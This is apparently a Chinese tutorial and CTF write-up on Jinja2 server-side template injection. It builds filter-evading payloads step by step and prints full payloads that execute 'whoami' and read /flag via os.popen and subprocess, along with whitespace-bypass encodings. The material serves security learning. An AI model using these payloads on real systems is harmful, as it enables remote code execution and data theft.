SSTI服务端模板注入漏洞原理详解及利用姿势集锦
目录
- Template Designer Documentation - Jinja Documentation (3.2.x)
使用过滤器构造Payload,一般思路是利用这些过滤器,逐步拼接出需要的字符、数字或字符串。对于一般原始字符的获取方法有以下几种:
{% set org = ({ }|select()|string()) %}{{org}} #{% set org = (self|string()) %}{{org}} # {% set org = self|string|urlencode %}{{org}} # %3CTemplateReference%20None%3E {% set org = (app.__doc__|string) %}{{org}} # Hello The default undefined type. This undefined type can be printed and # iterated over, but every other access will raise an :exc:`UndefinedError`: # # >>> foo = Undefined(name='foo') # >>> str(foo) # '' # >>> not foo # True # >>> foo + 42 # Traceback (most recent call last): # ... # jinja2.exceptions.UndefinedError: 'foo' is undefined {% set num = (self|int) %}{{num}} # 0 {% set num = (self|string|length) %}{{num}} # 24 {% set point = self|float|string|min %}{{point}} # . 通过以上几种Payload,返回的字符串中包含尖括号、字母、空格、下划线、数字、空格、百分号、点号。
我们的目标就是使用这些返回的字符串,结合各种过滤器,拼接出最终的Payload。实战例题
[网络安全管理员职业技能大赛]EZSS
进入页面,发现提示please get pid,尝试GET传参,发现回显参数值到页面了。
结合题目名称以及返回报文头的Server信息,初步判断是一道SSTI题目。经过尝试,题目过滤了
{{}},使用{%print %}来绕过,说明存在SSTI漏洞。?pid={%print 7*7%}
题目还过滤了.,使用多个参数传入[request["args"]["a"]]来绕过,因为题目的过滤规则只对pid参数生效,我们把关键通过别的参数传入,再将参数值进行拼接即可。查看可用的类:
?pid={%print+()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()%}&a=__class__&b=__bases__&c=__subclasses__
执行命令并读取flag即可:
{%print ()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()[146]('whoami',shell=True,stdout=-1)["stdout"]["readlines"]() %}&a=__class__&b=__bases__&c=__subclasses__&d=__init__&f=communicate
[Dest0g3 520迎新赛]EasySSTI
进入题目是一个登录框,点击登录可以回显用户名,经过尝试发现存在SSTI:
经过Fuzz,发现过滤了
_.'"[]等字符,还有各种class、request、eval等关键字。
需要注入也就是需要程序执行的代码如下:__import__('os').popen('cat /flag').read()通过过滤器构造payload:
{% set zero = (self|int) %} {% set one = (zero**zero)|int %} {% set two = (zero-one-one)|abs %} {% set four = (two*two)|int %} {% set five = (two*two*two)-one-one-one %} {% set three = five-one-one %} {% set nine = (two*two*two*two-five-one-one) %} {% set seven = (zero-one-one-five)|abs %} {% set space = self|string|min %} {% set point = self|float|string|min %} {% set c = dict(c=aa)|reverse|first %} {% set bfh = self|string|urlencode|first %} {% set bfhc = bfh~c %} {% set slas = bfhc%((four~seven)|int) %} {% set yin = bfhc%((three~nine)|int) %} {% set xhx = bfhc%((nine~five)|int) %} {% set right = bfhc%((four~one)|int) %} {% set left = bfhc%((four~zero)|int) %} {% set but = dict(buil=aa,tins=dd)|join %} {% set imp = dict(imp=aa,ort=dd)|join %} {% set pon = dict(po=aa,pen=dd)|join %} {% set so = dict(o=aa,s=dd)|join %} {% set ca = dict(ca=aa,t=dd)|join %} {% set ls = dict(ls=x)|join %} {% set ev = dict(ev=aa,al=dd)|join %} {% set red = dict(re=aa,ad=dd)|join %} {% set bul = xhx~xhx~but~xhx~xhx %} {% set ini = dict(ini=aa,t=bb)|join %} {% set glo = dict(glo=aa,bals=bb)|join %} {% set itm = dict(ite=aa,ms=bb)|join %} {% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right %} {% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} {% if f == bul %} {% for a,b in (v|attr(itm))() %} {% if a == ev %} {{b(pld)}} {% endif %} {% endfor %} {% endif %} {% endfor %}空格绕过一般可以考虑以下:
%20
%09
%0a
%0b
%0c
%0d
%a0
%00本题可以使用
%0c绕过,最终Payload如下:username={%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cls%0c=%0cdict(ls=x)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{{b(pld)}}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}&password=admin参考链接
以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区
flask之ssti模版注入从零到入门 - 先知社区
从SSTI到沙箱逃逸-jinja2
CTFshow刷题日记-WEB-SSTI(web361-372)_OceanSec的博客-CSDN博客